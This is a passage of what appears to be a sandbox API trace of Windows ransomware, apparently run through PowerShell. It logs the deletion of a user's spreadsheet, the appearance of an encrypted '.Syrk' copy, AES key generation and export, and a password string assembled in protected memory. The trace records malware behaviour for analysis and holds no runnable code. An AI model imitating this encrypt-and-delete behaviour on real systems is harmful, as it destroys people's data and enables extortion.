ftLastWriteTime.dwLowDateTime=0xca8aa7f0, ftLastWriteTime.dwHighDateTime=0x1d99aab, nFileSizeHigh=0x0, nFileSizeLow=0xb232)) returned 1 [0230.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0230.529] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx")) returned 1 [0230.532] EtwEventActivityIdControl () returned 0x0 [0230.532] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.532] EtwEventActivityIdControl () returned 0x0 [0230.532] EtwEventActivityIdControl () returned 0x0 [0230.532] EtwEventActivityIdControl () returned 0x0 [0230.589] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx.syrk")) returned 0x20 [0230.591] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx.syrk")) returned 0x20 [0230.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0230.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk", lpFilePart=0x0) returned 0x33 [0230.592] EtwEventActivityIdControl () returned 0x0 [0230.593] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.594] EtwEventActivityIdControl () returned 0x0 [0230.594] EtwEventActivityIdControl () returned 0x0 [0230.594] EtwEventActivityIdControl () returned 0x0 [0230.602] EtwEventActivityIdControl () returned 0x0 [0230.602] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.602] EtwEventActivityIdControl () returned 0x0 [0230.602] EtwEventActivityIdControl () returned 0x0 [0230.602] EtwEventActivityIdControl () returned 0x0 [0230.606] EtwEventActivityIdControl () returned 0x0 [0230.606] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.606] EtwEventActivityIdControl () returned 0x0 [0230.606] EtwEventActivityIdControl () returned 0x0 [0230.606] EtwEventActivityIdControl () returned 0x0 [0230.610] EtwEventActivityIdControl () returned 0x0 [0230.610] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.610] EtwEventActivityIdControl () returned 0x0 [0230.611] EtwEventActivityIdControl () returned 0x0 [0230.611] EtwEventActivityIdControl () returned 0x0 [0230.614] EtwEventActivityIdControl () returned 0x0 [0230.614] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.615] EtwEventActivityIdControl () returned 0x0 [0230.615] EtwEventActivityIdControl () returned 0x0 [0230.615] EtwEventActivityIdControl () returned 0x0 [0230.618] EtwEventActivityIdControl () returned 0x0 [0230.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0230.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\KZkiSaRpNjYn.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\kzkisarpnjyn.xlsx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x246fbb4 | out: lpFileInformation=0x246fbb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e6aa0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x54e6aa0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x55a5180, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb254)) returned 1 [0230.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0230.625] GetConsoleOutputCP () returned 0x1b5 [0230.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.662] GetConsoleOutputCP () returned 0x1b5 [0230.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.663] GetConsoleOutputCP () returned 0x1b5 [0230.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.663] GetConsoleOutputCP () returned 0x1b5 [0230.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.663] GetConsoleOutputCP () returned 0x1b5 [0230.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.663] GetConsoleOutputCP () returned 0x1b5 [0230.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.664] GetConsoleOutputCP () returned 0x1b5 [0230.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.664] GetConsoleOutputCP () returned 0x1b5 [0230.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.664] GetConsoleOutputCP () returned 0x1b5 [0230.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.664] GetConsoleOutputCP () returned 0x1b5 [0230.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.665] GetConsoleOutputCP () returned 0x1b5 [0230.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.665] GetConsoleOutputCP () returned 0x1b5 [0230.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.665] GetConsoleOutputCP () returned 0x1b5 [0230.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0230.665] GetConsoleOutputCP () returned 0x1b5 [0230.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0230.665] GetConsoleOutputCP () returned 0x1b5 [0230.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.666] GetConsoleOutputCP () returned 0x1b5 [0230.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0230.666] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0230.667] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.667] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2489818*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2489818*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0230.668] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0230.669] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0230.670] EtwEventActivityIdControl () returned 0x0 [0230.670] EtwEventActivityIdControl () returned 0x0 [0230.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.671] EtwEventActivityIdControl () returned 0x0 [0230.671] EtwEventActivityIdControl () returned 0x0 [0230.671] EtwEventActivityIdControl () returned 0x0 [0230.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.674] EtwEventActivityIdControl () returned 0x0 [0230.674] EtwEventActivityIdControl () returned 0x0 [0230.674] EtwEventActivityIdControl () returned 0x0 [0230.677] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0230.678] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0230.678] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0230.678] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0230.678] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24911f0, pdwDataLen=0x5a2e8c4 | out: pbData=0x24911f0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0230.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0230.679] EtwEventActivityIdControl () returned 0x0 [0230.679] EtwEventActivityIdControl () returned 0x0 [0230.679] EtwEventActivityIdControl () returned 0x0 [0230.680] SysStringLen (param_1="") returned 0x8 [0230.680] SysStringLen (param_1="o") returned 0x8 [0230.680] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.681] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0230.681] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0230.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.681] SysStringLen (param_1="o8") returned 0x8 [0230.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.681] SysStringLen (param_1="釧\⏙독嚟뿗⭕B∄) returned 0x8 [0230.681] SysStringLen (param_1="釧\⏙독嚟뿗⭕B∄) returned 0x8 [0230.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.681] SysStringLen (param_1="o8j") returned 0x8 [0230.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.681] SysStringLen (param_1="樰摐ꂰ才椗矔踟") returned 0x8 [0230.681] SysStringLen (param_1="樰摐ꂰ才椗矔踟") returned 0x8 [0230.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.682] SysStringLen (param_1="o8jg") returned 0x8 [0230.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.682] SysStringLen (param_1="沢㚟艃␬泱〔喭") returned 0x8 [0230.682] SysStringLen (param_1="沢㚟艃␬泱〔喭") returned 0x8 [0230.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.682] SysStringLen (param_1="o8jg1") returned 0x8 [0230.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.682] SysStringLen (param_1="৘㣎賑ꮺ㨽ꨁ䩔㻚") returned 0x8 [0230.682] SysStringLen (param_1="৘㣎賑ꮺ㨽ꨁ䩔㻚") returned 0x8 [0230.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.682] SysStringLen (param_1="o8jg1U") returned 0x8 [0230.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.683] SysStringLen (param_1="轀㒜蕗\믝뱔纻옝∤) returned 0x8 [0230.683] SysStringLen (param_1="轀㒜蕗\믝뱔纻옝∤) returned 0x8 [0230.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.683] SysStringLen (param_1="o8jg1US") returned 0x8 [0230.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.683] SysStringLen (param_1="兑〽퓁㌸⴪儎麵") returned 0x8 [0230.683] SysStringLen (param_1="兑〽퓁㌸⴪儎麵") returned 0x8 [0230.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.683] SysStringLen (param_1="o8jg1USk") returned 0x8 [0230.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0230.683] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞") returned 0x8 [0230.683] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞") returned 0x8 [0230.684] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞") returned 0x8 [0230.684] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞") returned 0x10 [0230.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.684] SysStringLen (param_1="o8jg1USkt윶ல塏쥸싍槼㐛") returned 0x10 [0230.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.684] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞闿ꞁ簘齝ҡ䀫\⋘) returned 0x10 [0230.684] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞闿ꞁ簘齝ҡ䀫\⋘) returned 0x10 [0230.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.685] SysStringLen (param_1="o8jg1USktEல塏쥸싍槼㐛") returned 0x10 [0230.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.685] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ᗗທ⛧衣\☼峻∏) returned 0x10 [0230.685] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ᗗທ⛧衣\☼峻∏) returned 0x10 [0230.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.685] SysStringLen (param_1="o8jg1USktEl塏쥸싍槼㐛") returned 0x10 [0230.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.685] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞錅л᎘ꍱ嘧㻊") returned 0x10 [0230.685] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞錅л᎘ꍱ嘧㻊") returned 0x10 [0230.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.685] SysStringLen (param_1="o8jg1USktElr쥸싍槼㐛") returned 0x10 [0230.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞䅕蒕૦\௟㎵ﭜ鈇⋌) returned 0x10 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞䅕蒕૦\௟㎵ﭜ鈇⋌) returned 0x10 [0230.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="o8jg1USktElrY싍槼㐛") returned 0x10 [0230.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞썥ነ㼏꫑ﰺ뛑庴癘") returned 0x10 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞썥ነ㼏꫑ﰺ뛑庴癘") returned 0x10 [0230.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="o8jg1USktElrYo槼㐛") returned 0x10 [0230.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞佭顄㕼뙍\퓟繖⊊) returned 0x10 [0230.686] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞佭顄㕼뙍\퓟繖⊊) returned 0x10 [0230.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.686] SysStringLen (param_1="o8jg1USktElrYoH㐛") returned 0x10 [0230.687] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.687] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ᇍꩦᔡ䤎띴䈏鴼") returned 0x10 [0230.687] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ᇍꩦᔡ䤎띴䈏鴼") returned 0x10 [0230.687] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.687] SysStringLen (param_1="o8jg1USktElrYoHI") returned 0x10 [0230.687] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0230.687] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⊎) returned 0x10 [0230.687] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⊎) returned 0x10 [0230.687] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⊎) returned 0x10 [0230.688] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⊎) returned 0x18 [0230.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.688] SysStringLen (param_1="o8jg1USktElrYoHIO㥫㲴㌫뾏詯ꢝ䌳") returned 0x18 [0230.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.688] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎ể忝䚹⩷禅⋻) returned 0x18 [0230.688] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎ể忝䚹⩷禅⋻) returned 0x18 [0230.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.688] SysStringLen (param_1="o8jg1USktElrYoHIOa㲴㌫뾏詯ꢝ䌳") returned 0x18 [0230.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.688] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ䈻⸑꿸靷ੁ簷ᤠ⊳) returned 0x18 [0230.688] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ䈻⸑꿸靷ੁ簷ᤠ⊳) returned 0x18 [0230.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="o8jg1USktElrYoHIOae㌫뾏詯ꢝ䌳") returned 0x18 [0230.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ뺎㤊∗㎬㴮簓큿∊) returned 0x18 [0230.689] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ뺎㤊∗㎬㴮簓큿∊) returned 0x18 [0230.689] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="o8jg1USktElrYoHIOaeX뾏詯ꢝ䌳") returned 0x18 [0230.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ즎垆磏ﺹ玸쭢⋾) returned 0x18 [0230.689] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ즎垆磏ﺹ玸쭢⋾) returned 0x18 [0230.689] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="o8jg1USktElrYoHIOaeXO詯ꢝ䌳") returned 0x18 [0230.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.689] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛㆎ돈઄୍径ᛯ⋡) returned 0x18 [0230.690] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛㆎ돈઄୍径ᛯ⋡) returned 0x18 [0230.690] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.690] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLꢝ䌳") returned 0x18 [0230.690] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.690] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⎎걂沽빞막ꇳ䅆⋔) returned 0x18 [0230.690] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ⎎걂沽빞막ꇳ䅆⋔) returned 0x18 [0230.690] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.690] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQ䌳") returned 0x18 [0230.690] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.690] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ릎炰쿂쓆᫮鹝∈) returned 0x18 [0230.690] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ릎炰쿂쓆᫮鹝∈) returned 0x18 [0230.690] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.690] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQB") returned 0x18 [0230.690] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0230.691] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝≪) returned 0x18 [0230.691] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝≪) returned 0x18 [0230.691] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝≪) returned 0x18 [0230.691] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝≪) returned 0x20 [0230.691] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.691] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBH齯训餙運䗚ꞏ") returned 0x20 [0230.691] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.691] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ࡪ甐\㓜엲쑈潝醯鉼") returned 0x20 [0230.692] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝ࡪ甐\㓜엲쑈潝醯鉼") returned 0x20 [0230.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.692] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHx训餙運䗚ꞏ") returned 0x20 [0230.692] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.692] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝㙪ۅ쎠֨葈驈ゴ≠) returned 0x20 [0230.692] SysStringLen (param_1="Ȁﾣ糛䊗璲᪏鸞ኡǾ䯝觥㑠㰐\ࣛ媎慨쒧퟼ꐣꔛ忳뒝㙪ۅ쎠֨葈驈ゴ≠) returned 0x20 [0230.692] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.692] SysStringLen (param_1="o8jg1USktElrYoHIOaeXOLQBHxb餙運䗚ꞏ") returned 0x20 [0230.693] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0230.693] 